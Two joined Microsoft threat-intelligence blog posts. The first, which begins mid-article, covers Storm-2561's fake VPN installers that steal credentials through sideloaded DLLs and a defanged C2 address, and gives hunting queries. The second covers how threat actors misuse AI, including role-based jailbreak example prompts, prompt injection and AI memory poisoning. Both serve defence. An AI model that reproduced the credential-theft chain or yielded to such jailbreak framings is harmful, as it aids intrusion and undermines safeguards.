Initial access and execution

The initial access vector relies on abusing SEO to push malicious websites to the top of search results for queries such as “Pulse VPN download” or “Pulse Secure client,” but Microsoft has observed spoofing of various VPN software brands and has observed the GitHub link at the following two domains: vpn-fortinet[.]com and ivanti-vpn[.]org.

Once the user lands on the malicious website and clicks to download the software, the malware is delivered through a ZIP download hosted at hxxps[:]//github[.]com/latestver/vpn/releases/download/vpn-client2/VPN-CLIENT.zip. At the time of this report, this repository is no longer active.

When the user launches the malicious MSI masquerading as a legitimate Pulse Secure VPN installer embedded within the downloaded ZIP file, the MSI file installs Pulse.exe along with malicious DLL files to a directory structure that closely resembles a real Pulse Secure installation path: %CommonFiles%\Pulse Secure. This installation path blends in with legitimate VPN software to appear trustworthy and avoid raising user suspicion.

Alongside the primary application, the installer drops malicious DLLs, dwmapi.dll and inspector.dll, into the Pulse Secure directory. The dwmapi.dll file is an in-memory loader that drops and launches an embedded shellcode payload that loads and launches the inspector.dll file, a variant of the infostealer Hyrax. The Hyrax infostealer extracts URI and VPN sign-in credentials before exfiltrating them to attacker-controlled command-and-control (C2) infrastructure.

Code signing abuse

The MSI file and the malicious DLLs are signed with a valid digital certificate, which is now revoked, from Taiyuan Lihua Near Information Technology Co., Ltd. This abuse of code signing serves multiple purposes:

• Bypasses default Windows security warnings for unsigned code
• Might bypass application whitelisting policies that trust signed binaries
• Reduces security tool alerts focused on unsigned malware
• Provides false legitimacy to the installation process

Microsoft identified several other files signed with the same certificates. These files also masqueraded as VPN software. These IOCs are included in the below.

Credential theft

The fake VPN client presents a graphical user interface that closely mimics the legitimate VPN client, prompting the user to enter their credentials. Rather than establishing a VPN connection, the application captures the credentials entered and exfiltrates them to attacker-controlled C2 infrastructure (194.76.226[.]93:8080). This approach relies on visual deception and immediate user interaction, allowing attackers to harvest credentials as soon as the target attempts to sign in. The credential theft operation follows the below structured sequence:

• UI presentation: A fake VPN sign-in dialog is displayed to the user, closely resembling the legitimate Pulse Secure client.
• Error display: After credentials are submitted, a fake error message is shown to the user.
• Redirection: The user is instructed to download and install the legitimate Pulse Secure VPN client.
• Access to stored VPN data: The inspector.dll component accesses stored VPN configuration data from C:\ProgramData\Pulse Secure\ConnectionStore\connectionstore.dat.
• Data exfiltration: Stolen credentials and VPN configuration data are transmitted to attacker-controlled infrastructure.

Persistence

To maintain access, the MSI malware establishes persistence during installation through the Windows RunOnce registry key, adding the Pulse.exe malware to run when the device reboots.

Defense evasion

One of the most sophisticated aspects of this campaign is the post-credential theft redirection strategy. After successfully capturing user credentials, the malicious application conducts the following actions:

• Displays a convincing error message indicating installation failure
• Provides instructions to download the legitimate Pulse VPN client from official sources
• In certain instances, opens the user’s browser to the legitimate VPN website

If users successfully install and use legitimate VPN software afterward, and the VPN connection works as expected, there are no indications of compromise to the end user. Users are likely to attribute the initial installation failure to technical issues, not malware.

Defending against credential theft campaigns

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants. 
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach. 
• Enable network protection in Microsoft Defender for Endpoint. 
• Turn on web protection in Microsoft Defender for Endpoint. 
• Encourage users to use Microsoft Edge and other web browsers that support SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware. 
• Enforce multifactor authentication (MFA) on all accounts, remove users excluded from MFA, and strictly require MFA from all devices, in all locations, at all times. 
• Remind employees that enterprise or workplace credentials should not be stored in browsers or password vaults secured with personal credentials. Organizations can turn off password syncing in browser on managed devices using Group Policy. 
• Turn on the following attack surface reduction rule to block or audit activity associated with this threat:
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion 

Microsoft Defender detection and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Actor Profile: Storm-2561
• Activity Profile: Storm-2561 uses SEO poisoning to distribute fake VPN clients for credential theft

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Files signed by Taiyuan Lihua Near Information Technology Co., Ltd.

Look for files signed with Taiyuan Lihua Near Information Technology Co., Ltd. signer.

let a = DeviceFileCertificateInfo
| where Signer == "Taiyuan Lihua Near Information Technology Co., Ltd."
| distinct SHA1;
DeviceProcessEvents
| where SHA1 in(a)

Identify suspicious DLLs in Pulse Secure folder

Identify launching of malicious DLL files in folders masquerading as Pulse Secure.

DeviceImageLoadEvents
| where FolderPath contains "Pulse Secure" and FolderPath contains "Program Files" and (FolderPath contains "\\JUNS\\" or FolderPath contains "\\JAMUI\\")
| where FileName has_any("inspector.dll","dwmapi.dll")

Indicators of compromise

References

• SEO Poisoning Targets Ivanti VPN: Credential Theft Alert (Zscaler)
• Storm-2561 distributes trojanized SonicWall NetExtender SilentRoute (Microsoft)
• A Sting on Bing: Bumblebee delivered through Bing SEO poisoning campaign (Cyjax)

Learn more

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To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Storm-2561 uses SEO poisoning to distribute fake VPN clients for credential theft appeared first on Microsoft Security Blog.

Threat actors are operationalizing AI along the cyberattack lifecycle to accelerate tradecraft, abusing both intended model capabilities and jailbreaking techniques to bypass safeguards and perform malicious activity. As enterprises integrate AI to improve efficiency and productivity, threat actors are adopting the same technologies as operational enablers, embedding AI into their workflows to increase the speed, scale, and resilience of cyber operations.

Microsoft Threat Intelligence has observed that most malicious use of AI today centers on using language models for producing text, code, or media. Threat actors use generative AI to draft phishing lures, translate content, summarize stolen data, generate or debug malware, and scaffold scripts or infrastructure. For these uses, AI functions as a force multiplier that reduces technical friction and accelerates execution, while human operators retain control over objectives, targeting, and deployment decisions.

This dynamic is especially evident in operations likely focused on revenue generation, where efficiency directly translates to scale and persistence. To illustrate these trends, this blog highlights observations from North Korean remote IT worker activity tracked by Microsoft Threat Intelligence as Jasper Sleet and Coral Sleet (formerly Storm-1877), where AI enables sustained, large‑scale misuse of legitimate access through identity fabrication, social engineering, and long‑term operational persistence at low cost.

Emerging trends introduce further risk to defenders. Microsoft Threat Intelligence has observed early threat actor experimentation with agentic AI, where models support iterative decision‑making and task execution. Although not yet observed at scale and limited by reliability and operational risk, these efforts point to a potential shift toward more adaptive threat actor tradecraft that could complicate detection and response.

This blog examines how threat actors are operationalizing AI by distinguishing between AI used as an accelerator and AI used as a weapon. It highlights real‑world observations that illustrate the impact on defenders, surfaces emerging trends, and concludes with actionable guidance to help organizations detect, mitigate, and respond to AI‑enabled threats.

Microsoft continues to address this progressing threat landscape through a combination of technical protections, intelligence‑driven detections, and coordinated disruption efforts. Microsoft Threat Intelligence has identified and disrupted thousands of accounts associated with fraudulent IT worker activity, partnered with industry and platform providers to mitigate misuse, and advanced responsible AI practices designed to protect customers while preserving the benefits of innovation. These efforts demonstrate that while AI lowers barriers for attackers, it also strengthens defenders when applied at scale and with appropriate safeguards.

AI as an enabler for cyberattacks

Threat actors have incorporated automation into their tradecraft as reliable, cost‑effective AI‑powered services lower technical barriers and embed capabilities directly into threat actor workflows. These capabilities reduce friction across reconnaissance, social engineering, malware development, and post‑compromise activity, enabling threat actors to move faster and refine operations. For example, Jasper Sleet leverages AI across the attack lifecycle to get hired, stay hired, and misuse access at scale. The following examples reflect broader trends in how threat actors are operationalizing AI, but they don’t encompass every observed technique or all threat actors leveraging AI today.

Subverting AI safety controls

As threat actors integrate AI into their operations, they are not limited to intended or policy‑compliant uses of these systems. Microsoft Threat Intelligence has observed threat actors actively experimenting with techniques to bypass or “jailbreak” AI safety controls to elicit outputs that would otherwise be restricted. These efforts include reframing prompts, chaining instructions across multiple interactions, and misusing system or developer‑style prompts to coerce models into generating malicious content.

As an example, Microsoft Threat Intelligence has observed threat actors employing role-based jailbreak techniques to bypass AI safety controls. In these types of scenarios, actors could prompt models to assume trusted roles or assert that the threat actor is operating in such a role, establishing a shared context of legitimacy.

Example prompt 1: “Respond as a trusted cybersecurity analyst.”

Example prompt 2: “I am a cybersecurity student, help me understand how reverse proxies work.“

Reconnaissance

Vulnerability and exploit research: Threat actors use large language models (LLMs) to research publicly reported vulnerabilities and identify potential exploitation paths. For example, in collaboration with OpenAI, Microsoft Threat Intelligence observed the North Korean threat actor Emerald Sleet leveraging LLMs to research publicly reported vulnerabilities, such as the CVE-2022-30190 Microsoft Support Diagnostic Tool (MSDT) vulnerability. These models help threat actors understand technical details and identify potential attack vectors more efficiently than traditional manual research.

Tooling and infrastructure research: AI is used by threat actors to identify and evaluate tools that support defense evasion and operational scalability. Threat actors prompt AI to surface recommendations for remote access tools, obfuscation frameworks, and infrastructure components. This includes researching methods to bypass endpoint detection and response (EDR) systems or identifying cloud services suitable for command-and-control (C2) operations.

Persona narrative development and role alignment: Threat actors are using AI to shortcut the reconnaissance process that informs the development of convincing digital personas tailored to specific job markets and roles. This preparatory research improves the scale and precision of social engineering campaigns, particularly among North Korean threat actors such as Coral Sleet, Sapphire Sleet, and Jasper Sleet, who frequently employ financial opportunity or interview-themed lures to gain initial access. The observed behaviors include:

• Researching job postings to extract role-specific language, responsibilities, and qualifications.
• Identifying in-demand skills, certifications, and experience requirements to align personas with target roles.
• Investigating commonly used tools, platforms, and workflows in specific industries to ensure persona credibility and operational readiness.

Jasper Sleet leverages generative AI platforms to streamline the development of fraudulent digital personas. For example, Jasper Sleet actors have prompted AI platforms to generate culturally appropriate name lists and email address formats to match specific identity profiles. For example, threat actors might use the following types of prompts to leverage AI in this scenario:

Example prompt 1: “Create a list of 100 Greek names.”

Example prompt 2: “Create a list of email address formats using the name Jane Doe.“

Jasper Sleet also uses generative AI to review job postings for software development and IT-related roles on professional platforms, prompting the tools to extract and summarize required skills. These outputs are then used to tailor fake identities to specific roles.

Resource development

Threat actors increasingly use AI to support the creation, maintenance, and adaptation of attack infrastructure that underpins malicious operations. By establishing their infrastructure and scaling it with AI-enabled processes, threat actors can rapidly build and adapt their operations when needed, which supports downstream persistence and defense evasion.

Adversarial domain generation and web assets: Threat actors have leveraged generative adversarial network (GAN)–based techniques to automate the creation of domain names that closely resemble legitimate brands and services. By training models on large datasets of real domains, the generator learns common structural and lexical patterns, while a discriminator assesses whether outputs appear authentic. Through iterative refinement, this process produces convincing look‑alike domains that are increasingly difficult to distinguish from legitimate infrastructure using static or pattern‑based detection methods, enabling rapid creation and rotation of impersonation domains at scale, supporting phishing, C2, and credential harvesting operations.

Building and maintaining covert infrastructure: In using AI models, threat actors can design, configure, and troubleshoot their covert infrastructure. This method reduces the technical barrier for less sophisticated actors and works to accelerate the deployment of resilient infrastructure while minimizing the risk of detection. These behaviors include:

• Building and refining C2 and tunneling infrastructure, including reverse proxies, SOCKS5 and OpenVPN configurations, and remote desktop tunneling setups
• Debugging deployment issues and optimizing configurations for stealth and resilience
• Implementing remote streaming and input emulation to maintain access and control over compromised environments

Microsoft Threat Intelligence has observed North Korean state actor Coral Sleet using development platforms to quickly create and manage convincing, high‑trust web infrastructure at scale, enabling fast staging, testing, and C2 operations. This makes their campaigns easier to refresh and significantly harder to detect.

Social engineering and initial access

With the use of AI-driven media creation, impersonations, and real-time voice modulation, threat actors are significantly improving the scale and sophistication of their social engineering and initial access operations. These technologies enable threat actors to craft highly tailored, convincing lures and personas at unprecedented speed and volume, which lowers the barrier for complex attacks to take place and increases the likelihood of successful compromise.

Crafting phishing lures: AI-enabled phishing lures are becoming increasingly effective by rapidly adapting content to a target’s native language and communication style. This effort reduces linguistic errors and enhances the authenticity of the message, making it more convincing and harder to detect. Threat actors’ use of AI for phishing lures includes:

• Using AI to write spear-phishing emails in multiple languages with native fluency
• Generating business-themed lures that mimic internal communications or vendor correspondence
• Dynamic customization of phishing messages based on scraped target data (such as job title, company, recent activity)
• Using AI to eliminate grammatical errors and awkward phrasing caused by language barriers, increasing believability and click-through rates

Creating fake identities and impersonation: By leveraging, AI-generated content and synthetic media, threat actors can construct and animate fraudulent personas. These capabilities enhance the credibility of social engineering campaigns by mimicking trusted individuals or fabricating entire digital identities. The observed behavior includes:

• Generating realistic names, email formats, and social media handles using AI prompts
• Writing AI-assisted resumes and cover letters tailored to specific job descriptions
• Creating fake developer portfolios using AI-generated content
• Reusing AI-generated personas across multiple job applications and platforms
• Using AI-enhanced images to create professional-looking profile photos and forged identity documents
• Employing real-time voice modulation and deepfake video overlays to conceal accent, gender, or nationality
• Using AI-generated voice cloning to impersonate executives or trusted individuals in vishing and business email compromise (BEC) scams

For example, Jasper Sleet has been observed using the AI application Faceswap to insert the faces of North Korean IT workers into stolen identity documents and to generate polished headshots for resumes. In some cases, the same AI-generated photo was reused across multiple personas with slight variations. Additionally, Jasper Sleet has been observed using voice-changing software during interviews to mask their accent, enabling them to pass as Western candidates in remote hiring processes.

Operational persistence and defense evasion

Microsoft Threat Intelligence has observed threat actors using AI in operational facets of their activities that are not always inherently malicious but materially support their broader objectives. In these cases, AI is applied to improve efficiency, scale, and sustainability of operations, not directly to execute attacks. To remain undetected, threat actors employ both behavioral and technical measures, many of which are outlined in the Resource development section, to evade detection and blend into legitimate environments.

Supporting day-to-day communications and performance: AI-enabled communications are used by threat actors to support daily tasks, fit in with role expectations, and obtain persistent behaviors across multiple different fraudulent identities. For example, Jasper Sleet uses AI to help sustain long-term employment by reducing language barriers, improving responsiveness, and enabling workers to meet day-to-day performance expectations in legitimate corporate environments. Threat actors are leveraging generative AI in a way that many employees are using it in their daily work, with prompts such as “help me respond to this email”, but the intent behind their use of these platforms is to deceive the recipient into believing that a fake identity is real. Observed behaviors across threat actors include:

• Translating messages and documentation to overcome language barriers and communicate fluently with colleagues
• Prompting AI tools with queries that enable them to craft contextually appropriate, professional responses
• Using AI to answer technical questions or generate code snippets, allowing them to meet performance expectations even in unfamiliar domains
• Maintaining consistent tone and communication style across emails, chat platforms, and documentation to avoid raising suspicion

AI‑assisted malware development: From deception to weaponization

Threat actors are leveraging AI as a malware development accelerator, supporting iterative engineering tasks across the malware lifecycle. AI typically functions as a development accelerator within human-guided malware workflows, with end-to-end authoring remaining operator-driven. Threat actors retain control over objectives, deployment decisions, and tradecraft, while AI reduces the manual effort required to troubleshoot errors, adapt code to new environments, or reimplement functionality using different languages or libraries. These capabilities allow threat actors to refresh tooling at a higher operational tempo without requiring deep expertise across every stage of the malware development process.

Microsoft Threat Intelligence has observed Coral Sleet demonstrating rapid capability growth driven by AI‑assisted iterative development, using AI coding tools to generate, refine, and reimplement malware components. Further, Coral Sleet has leveraged agentic AI tools to support a fully AI‑enabled workflow spanning end‑to‑end lure development, including the creation of fake company websites, remote infrastructure provisioning, and rapid payload testing and deployment. Notably, the actor has also created new payloads by jailbreaking LLM software, enabling the generation of malicious code that bypasses built‑in safeguards and accelerates operational timelines.

Beyond rapid payload deployment, Microsoft Threat Intelligence has also identified characteristics within the code consistent with AI-assisted creation, including the use of emojis as visual markers within the code path and conversational in-line comments to describe the execution states and developer reasoning. Examples of these AI-assisted characteristics includes green check mark emojis (✅) for successful requests, red cross mark emojis (❌) for indicating errors, and in-line comments such as “For now, we will just report that manual start is needed”.

Other characteristics of AI-assisted code generation that defenders should look out for include:

• Overly descriptive or redundant naming: functions, variables, and modules use long, generic names that restate obvious behavior
• Over-engineered modular structure: code is broken into highly abstracted, reusable components with unnecessary layers
• Inconsistent naming conventions: related objects are referenced with varying terms across the codebase

Post-compromise misuse of AI

Threat actor use of AI following initial compromise is primarily focused on supporting research and refinement activities that inform post‑compromise operations. In these scenarios, AI commonly functions as an on‑demand research assistant, helping threat actors analyze unfamiliar victim environments, explore post‑compromise techniques, and troubleshoot or adapt tooling to specific operational constraints. Rather than introducing fundamentally new behaviors, this use of AI accelerates existing post‑compromise workflows by reducing the time and expertise required for analysis, iteration, and decision‑making.

Discovery

AI supports post-compromise discovery by accelerating analysis of unfamiliar compromised environments and helping threat actors to prioritize next steps, including:

• Assisting with analysis of system and network information to identify high‑value assets such as domain controllers, databases, and administrative accounts
• Summarizing configuration data, logs, or directory structures to help actors quickly understand enterprise layouts
• Helping interpret unfamiliar technologies, operating systems, or security tooling encountered within victim environments

Lateral movement

During lateral movement, AI is used to analyze reconnaissance data and refine movement strategies once access is established. This use of AI accelerates decision‑making and troubleshooting rather than automating movement itself, including:

• Analyzing discovered systems and trust relationships to identify viable movement paths
• Helping actors prioritize targets based on reachability, privilege level, or operational value

Persistence

AI is leveraged to research and refine persistence mechanisms tailored to specific victim environments. These activities, which focus on improving reliability and stealth rather than creating fundamentally new persistence techniques, include:

• Researching persistence options compatible with the victim’s operating systems, software stack, or identity infrastructure
• Assisting with adaptation of scripts, scheduled tasks, plugins, or configuration changes to blend into legitimate activity
• Helping actors evaluate which persistence mechanisms are least likely to trigger alerts in a given environment

Privilege escalation

During privilege escalation, AI is used to analyze discovery data and refine escalation strategies once access is established, including:

• Assisting with analysis of discovered accounts, group memberships, and permission structures to identify potential escalation paths
• Researching privilege escalation techniques compatible with specific operating systems, configurations, or identity platforms present in the environment
• Interpreting error messages or access denials from failed escalation attempts to guide next steps
• Helping adapt scripts or commands to align with victim‑specific security controls and constraints
• Supporting prioritization of escalation opportunities based on feasibility, potential impact, and operational risk

Collection

Threat actors use AI to streamline the identification and extraction of data following compromise. AI helps reduce manual effort involved in locating relevant information across large or unfamiliar datasets, including:

• Translating high‑level objectives into structured queries to locate sensitive data such as credentials, financial records, or proprietary information
• Summarizing large volumes of files, emails, or databases to identify material of interest
• Helping actors prioritize which data sets are most valuable for follow‑on activity or monetization

Exfiltration

AI assists threat actors in planning and refining data exfiltration strategies by helping assess data value and operational constraints, including:

• Helping identify the most valuable subsets of collected data to reduce transfer volume and exposure
• Assisting with analysis of network conditions or security controls that may affect exfiltration
• Supporting refinement of staging and packaging approaches to minimize detection risk

Impact

Following data access or exfiltration, AI is used to analyze and operationalize stolen information at scale. These activities support monetization, extortion, or follow‑on operations, including:

• Summarizing and categorizing exfiltrated data to assess sensitivity and business impact
• Analyzing stolen data to inform extortion strategies, including determining ransom amounts, identifying the most sensitive pressure points, and shaping victim-specific monetization approaches
• Crafting tailored communications, such as ransom notes or extortion messages and deploying automated chatbots to manage victim communications

Emerging trends

Agentic AI use

While generative AI currently makes up most of observed threat actor activity involving AI, Microsoft Threat Intelligence is beginning to see early signals of a transition toward more agentic uses of AI. Agentic AI systems rely on the same underlying models but are integrated into workflows that pursue objectives over time, including planning steps, invoking tools, evaluating outcomes, and adapting behavior without continuous human prompting. For threat actors, this shift could represent a meaningful change in tradecraft by enabling semi‑autonomous workflows that continuously refine phishing campaigns, test and adapt infrastructure, maintain persistence, or monitor open‑source intelligence for new opportunities. Microsoft has not yet observed large-scale use of agentic AI by threat actors, largely due to ongoing reliability and operational constraints. Nonetheless, real-world examples and proof-of-concept experiments illustrate the potential for these systems to support automated reconnaissance, infrastructure management, malware development, and post-compromise decision-making.

AI-enabled malware

Threat actors are exploring AI‑enabled malware designs that embed or invoke models during execution rather than using AI solely during development. Public reporting has documented early malware families that dynamically generate scripts, obfuscate code, or adapt behavior at runtime using language models, representing a shift away from fully pre‑compiled tooling. Although these capabilities remain limited by reliability, latency, and operational risk, they signal a potential transition toward malware that can adapt to its environment, modify functionality on demand, or reduce static indicators relied upon by defenders. At present, these efforts appear experimental and uneven, but they serve as an early signal of how AI may be integrated into future operations.

Threat actor exploitation of AI systems and ecosystems

Beyond using AI to scale operations, threat actors are beginning to misuse AI systems as targets or operational enablers within broader campaigns. As enterprise adoption of AI accelerates and AI-driven capabilities are embedded into business processes, these systems introduce new attack surfaces and trust relationships for threat actors to exploit. Observed activity includes prompt injection techniques designed to influence model behavior, alter outputs, or induce unintended actions within AI-enabled environments. Threat actors are also exploring supply chain use of AI services and integrations, leveraging trusted AI components, plugins, or downstream connections to gain indirect access to data, decision processes, or enterprise workflows.

Alongside these developments, Microsoft security researchers have recently observed a growing trend of legitimate organizations leveraging a technique known as AI recommendation poisoning for promotion gain. This method involves the intentional poisoning of AI assistant memory to bias future responses toward specific sources or products. In these cases, Microsoft identified attempts across multiple AI platforms where companies embedded prompts designed to influence how assistants remember and prioritize certain content. While this activity has so far been limited to enterprise marketing use cases, it represents an emerging class of AI memory poisoning attacks that could be misused by threat actors to manipulate AI-driven decision-making, conduct influence operations, or erode trust in AI systems.

Mitigation guidance for AI-enabled threats

Three themes stand out in how threat actors are operationalizing AI:

• Threat actors are leveraging AI‑enabled attack chains to increase scale, persistence, and impact, by using AI to reduce technical friction and shorten decision‑making cycles across the cyberattack lifecycle, while human operators retain control over targeting and deployment decisions.
• The operationalization of AI by threat actors represents an intentional misuse of AI models for malicious purposes, including the use of jailbreaking techniques to bypass safeguards and accelerate post‑compromise operations such as data triage, asset prioritization, tooling refinement, and monetization.
• Emerging experimentation with agentic AI signals a potential shift in tradecraft, where AI‑supported workflows increasingly assist iterative decision‑making and task execution, pointing to faster adaptation and greater resilience in future intrusions.

As threat actors continuously adapt their workflows, defenders must stay ahead of these transformations. The considerations below are intended to help organizations mitigate the AI‑enabled threats outlined in this blog.

Enterprise AI risk discovery and management: Threat actor misuse of AI accelerates risk across enterprise environments by amplifying existing threats such as phishing, malware threats, and insider activity. To help organizations stay ahead of AI-enabled threat activity, Microsoft has introduced the Security Dashboard for AI, which is now in public preview. The dashboard provides users with a unified view of AI security posture by aggregating security, identity, and data risk across Microsoft Defender, Microsoft Entra, and Microsoft Purview. This allows organizations to understand what AI assets exist in their environment, recognize emerging risk patterns, and prioritize governance and security across AI agents, applications, and platforms. To learn more about the Microsoft Security Dashboard for AI see: Assess your organization’s AI risk with Microsoft Security Dashboard for AI (Preview).

Additionally, Microsoft Agent 365 serves as a control plane for AI agents in enterprise environments, allowing users to manage, govern, and secure AI agents and workflows while monitoring emerging risks of agentic AI use. Agent 365 supports a growing ecosystem of agents, including Microsoft agents, broader ecosystems of agents such as Adobe and Databricks, and open-source agents published on GitHub.

Insider threats and misuse of legitimate access: Threat actors such as North Korean remote IT workers rely on long‑term, trusted access. Because of this fact, defenders should treat fraudulent employment and access misuse as an insider‑risk scenario, focusing on detecting misuse of legitimate credentials, abnormal access patterns, and sustained low‑and‑slow activity. For detailed mitigation and remediation guidance specific to North Korean remote IT worker activity including identity vetting, access controls, and detections, please see the previous Microsoft Threat Intelligence blog on Jasper Sleet: North Korean remote IT workers’ evolving tactics to infiltrate organizations.

• Use Microsoft Purview to manage data security and compliance for Entra-registered AI apps and other AI apps.
• Activate Data Security Posture Management (DSPM) for AI to discover, secure, and apply compliance controls for AI usage across your enterprise.
• Audit logging is turned on by default for Microsoft 365 organizations. If auditing isn’t turned on for your organization, a banner appears that prompts you to start recording user and admin activity. For instructions, see Turn on auditing.
• Microsoft Purview Insider Risk Management helps you detect, investigate, and mitigate internal risks such as IP theft, data leakage, and security violations. It leverages machine learning models and various signals from Microsoft 365 and third-party indicators to identify potential malicious or inadvertent insider activities. The solution includes privacy controls like pseudonymization and role-based access, ensuring user-level privacy while enabling risk analysts to take appropriate actions.
• Perform analysis on account images using open-source tools such as FaceForensics++ to determine prevalence of AI-generated content. Detection opportunities within video and imagery include:
  • Temporal consistency issues: Rapid movements cause noticeable artifacts in video deepfakes as the tracking system struggles to maintain accurate landmark positioning.
  • Occlusion handling: When objects pass over the AI-generated content such as the face, deepfake systems tend to fail at properly reconstructing the partially obscured face.
  • Lighting adaptation: Changes in lighting conditions might reveal inconsistencies in the rendering of the face
  • Audio-visual synchronization: Slight delays between lip movements and speech are detectable under careful observation
    • Exaggerated facial expressions.
    • Duplicative or improperly placed appendages.
    • Pixelation or tearing at edges of face, eyes, ears, and glasses.
• Use Microsoft Purview Data Lifecycle Management to manage the lifecycle of organizational data by retaining necessary content and deleting unnecessary content. These tools ensure compliance with business, legal, and regulatory requirements.
• Use retention policies to automatically retain or delete user prompts and responses for AI apps. For detailed information about this retention works, see Learn about retention for Copilot and AI apps.

Phishing and AI-enabled social engineering: Defenders should harden accounts and credentials against phishing threats. Detection should emphasize behavioral signals, delivery infrastructure, and message context instead of solely on static indicators or linguistic patterns. Microsoft has observed and disrupted AI‑obfuscated phishing campaigns using this approach. For a detailed example of how Microsoft detects and disrupts AI‑assisted phishing campaigns, see the Microsoft Threat Intelligence blog on AI vs. AI: Detecting an AI‑obfuscated phishing campaign.

• Review our recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attack tools and techniques. Cloud-based machine learning protections block a majority of new and unknown variants
• Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
• Turn on Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly-acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Enable network protection in Microsoft Defender for Endpoint.
• Enforce MFA on all accounts, remove users excluded from MFA, and strictly require MFA from all devices, in all locations, at all times.
• Follow Microsoft’s security best practices for Microsoft Teams.
• Configure the Microsoft Defender for Office 365 Safe Links policy to apply to internal recipients.
• Use Prompt Shields in Azure AI Content Safety. Prompt Shields is a unified API that analyzes inputs to LLMs and detects adversarial user input attacks. Prompt Shields is designed to detect and safeguard against both user prompt attacks and indirect attacks (XPIA).
• Use Groundedness Detection to determine whether the text responses of LLMs are grounded in the source materials provided by the users.
• Enable threat protection for AI services in Microsoft Defender for Cloud to identify threats to generative AI applications in real time and for assistance in responding to security issues.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide additional intelligence on actor tactics Microsoft security detection and protections, and actionable recommendations to prevent, mitigate, or respond to associated threats found in customer environments:

• Actor profile: Jasper Sleet
• Actor profile: Coral Sleet (formerly Storm-1877)
• Actor profile: Moonstone Sleet
• Actor profile: Sapphire Sleet

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

Finding potentially spoofed emails

EmailEvents
| where EmailDirection == "Inbound"
| where Connectors == ""  // No connector used
| where SenderFromDomain in ("contoso.com") // Replace with your domain(s)
| where AuthenticationDetails !contains "SPF=pass" // SPF failed or missing
| where AuthenticationDetails !contains "DKIM=pass" // DKIM failed or missing
| where AuthenticationDetails !contains "DMARC=pass" // DMARC failed or missing
| where SenderIPv4 !in ("") // Exclude known relay IPs
| where ThreatTypes has_any ("Phish", "Spam") or ConfidenceLevel == "High" // 
| project Timestamp, NetworkMessageId, InternetMessageId, SenderMailFromAddress,
          SenderFromAddress, SenderDisplayName, SenderFromDomain, SenderIPv4,
          RecipientEmailAddress, Subject, AuthenticationDetails, DeliveryAction

Surface suspicious sign-in attempts

EntraIdSignInEvents
| where IsManaged != 1
| where IsCompliant != 1
//Filtering only for medium and high risk sign-in
| where RiskLevelDuringSignIn in (50, 100)
| where ClientAppUsed == "Browser"
| where isempty(DeviceTrustType)
| where isnotempty(State) or isnotempty(Country) or isnotempty(City)
| where isnotempty(IPAddress)
| where isnotempty(AccountObjectId)
| where isempty(DeviceName)
